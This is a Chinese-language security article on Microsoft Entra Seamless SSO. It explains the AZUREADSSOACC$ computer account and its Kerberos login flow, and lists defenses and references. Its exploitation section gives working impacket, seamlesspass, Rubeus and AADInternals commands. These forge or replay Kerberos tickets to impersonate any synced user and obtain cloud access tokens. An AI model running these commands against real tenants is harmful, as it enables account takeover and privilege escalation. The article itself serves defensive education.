Azure Seamless SSO

Seamless SSO

混合身份场景使用以下三种身份验证方法之一:

  • 密码哈希同步(PHS)
  • 直通式认证(PTA)
  • 联合身份验证服务(AD FS)

Microsoft Entra 无缝单点登录 (Microsoft Entra Seamless SSO) 可在用户尝试从公司网络内已加入域的公司设备访问Entra应用时自动登录认证。启用此功能后,用户无需输入密码即可登录 Microsoft Entra ID,此功能使用户能够轻松访问云端应用程序,而无需任何额外的本地组件。无缝单点登录 可以与PHS、PTA结合使用,但不适用于用于ADFS

Seamless SSO对于设备版本有一些区别,微软手册写道:

SSO via primary refresh token vs. Seamless SSO
For Windows 10, Windows Server 2016, and later versions, it’s recommended to use SSO via primary refresh token (PRT). For Windows 7 and Windows 8.1, it’s recommended to use Seamless SSO. Seamless SSO needs the user’s device to be domain-joined, but it isn’t used on Windows 10 Microsoft Entra joined devices or Microsoft Entra hybrid joined devices. SSO on Microsoft Entra joined, Microsoft Entra hybrid joined, and Microsoft Entra registered devices works based on the Primary Refresh Token (PRT)

SSO via PRT works once devices are registered with Microsoft Entra ID for Microsoft Entra hybrid joined, Microsoft Entra joined or personal registered devices via Add Work or School Account. For more information on how SSO works with Windows 10 using PRT, see: Primary Refresh Token (PRT) and Microsoft Entra ID

对于 Windows 7 和 Windows 8.1,建议使用 seamless sso

对于 Windows 10、Windows Server 2016 及更高版本,设备状态为 Entra Joined、Entra Hybrid Joined、Entra Registered 的设备使用 基于主刷新令牌 (PRT) 的sso机制,并不依赖seamless sso

另外对于设备加入Entra的状态有以下:

设备状态 AzureAdJoined DomainJoined WorkplaceJoined
Entra Registered NO NO YES
Entra Joined YES NO NO
Entra Hybrid Joined YES YES NO
仅本地 AD Joined NO YES NO

工作原理及流程

在混合部署安装和配置期间:

  • 在 AD 中创建一个名为 AZUREADSSOACC$ 的计算机账户
  • 账户添加多个SPN,其中重要的两个SPN在 Microsoft Entra 登录过程中使用
    • HTTP/aadg.windows.net.nsatc.net
    • HTTP/autologon.microsoftazuread-sso.com
  • 账户生成Kerberos解密密钥,支持 AES256_HMAC_SHA1、AES128_HMAC_SHA1、RC4_HMAC_MD5
  • 将解密密钥发送到Entra ID

网页浏览器下身份验证工作流程如下:

  • 当用户从域网络访问Entra Web 应用,如果用户尚未登录,将用户重定向到 login.microsoftonline.com 登录页面
  • 输入用户名
  • Entra ID 在后台使用 iframe JS,返回带有 WWW-Authenticate 标头的401未授权响应向浏览器发出挑战,要求其提供 Kerberos 票据
  • 浏览器遵守规定
  • 浏览器使用当前用户的身份向 AD 请求 Kerberos 票据
  • AD 查找请求自动登录的域,发现它是 AZUREADSSOACC$ 的 SPN
  • AD 生成一个使用 AZUREADSSOACC$ 密钥加密的 Kerberos 票据
  • 浏览器将从 AD 获取的 Kerberos 票据转发给 Entra ID
  • Entra ID 使用先前共享的密钥解密 Kerberos 票据
  • 票据解密评估完成后,Entra ID 要么将令牌返回给应用程序,要么要求用户满足其他验证要求,例如MFA、Conditional Access Policies (CAP)
  • 浏览器使用令牌自动登录

配置SSO

在快速设置页面,选择 Customize 以开始自定义设置安装,在 User sign-in 页面上选择 启用单点登录 选项。在 Microsoft Entra Connect 1.1.880.0 或更高版本,默认情况下会选中 启用单点登录 选项

image-20260814003100294

SSO利用

如果攻击者控制了此帐户,可以使用AZUREADSSOACC$帐户密钥代表任何用户生成服务票证,从而冒充从AD同步到Entra ID中的任何用户,包括拥有特权角色的管理员。总之其利用核心就是kerberos票据,那么利用方式就有两种:

  • 获取目标用户的 Kerberos 身份上下文后,模拟正常 SSO 流程,访问Entra后与KDC交互获取加密票据
  • 本地直接利用AZUREADSSOACC$制作加密票据,无需与KDC交互

正常签发

获取目标用户kerberos 上下文,通过 impacket rubeus 都可获取TGT/TGS

getST.py -dc-ip 10.0.0.1 -spn http/autologon.microsoftazuread-sso.com test.local/admin:password

使用 seamlesspass 可以直接通过票据获取AccessToken,在后续TUI工具中使用

seamlesspass -tenant test.com -domain test.local -dc dc.test.local -tgt <base64_encoded_TGT>

也可以通过配置浏览器,sso支持 ie edge chrome firefox,以火狐为例

  • 将某些 URL 添加到受信任区域

    • 在导航栏中,输入 about:config

    • 搜索 network.negotiate-auth.trusted-uris 首选项

    • 添加以下网址:https://autologon.microsoftazuread-sso.com

  • 在设置中启用 Windows 单点登录:

    • 前往设置

    • 启用 允许 Microsoft、工作和学校帐户使用 Windows 单点登录

    image-20260815112456808

通过 Rubeus PTT,启动firefox,访问 login.microsoftonline.com

Rubeus.exe ptt /ticket:xxx & "C:\Program Files\Mozilla Firefox\firefox.exe"

本地制作

通过 AADInternals 直接制作加密票据,并申请Graph AccessToken

$kerberosTicket=New-AADIntKerberosTicket -SidString <AD user SID> -Hash <AZUREADSSOACC$ NTLM Hash>
$kerberosTicket
$AADGraphToken=Get-AADIntAccessTokenForAADGraph KerberosTicket $kerberosTicket -Domain "test.local"
$AADGraphToken

也可以用浏览器bp抓包,替换

image-20260815122124149

防范

定时更换密钥:

https://www.cloudcoffee.ch/microsoft-azure/microsoft-entra-id-automatically-roll-over-kerberos-decryption-key/

https://www.cloudcoffee.ch/microsoft-azure/azure-ad-roll-over-kerberos-decryption-key/

禁用SSO:

https://ourcloudnetwork.com/why-you-should-disable-seamless-sso-in-microsoft-entra-connect/

https://www.cloudcoffee.ch/microsoft-azure/disable-entra-connect-seamless-sso/

日志记录:

https://nathanmcnulty.com/blog/2025/08/finding-seamless-sso-usage/

Reference

Seamless SSO:

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso

https://learn.microsoft.com/en-gb/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

https://syfuhs.net/2017/03/19/a-look-at-azure-ad-single-sign-on/

https://nathanmcnulty.com/blog/2025/08/finding-seamless-sso-usage/

配置SSO:

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-quick-start

https://www.alitajran.com/install-and-configure-microsoft-entra-connect/

https://www.cloudcoffee.ch/microsoft-azure/hybrid-azure-ad-join-configuration/

https://www.cayosoft.com/microsoft-entra/microsoft-entra-connect-sync/

SSO利用:

https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/hybrid-security

https://specterops.io/blog/2025/12/11/azure-seamless-sso-when-cookie-theft-doesnt-cut-it/

https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/

https://www.trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud

https://echeloncyber.com/intelligence/entry/cyber-threat-alert-abusing-azureadssoacc-for-pivoting-from-on-premises-active-directory-to-azure

https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf

https://aadinternals.com/talks/NVS%202021.pdf

《AD域攻防权威指南》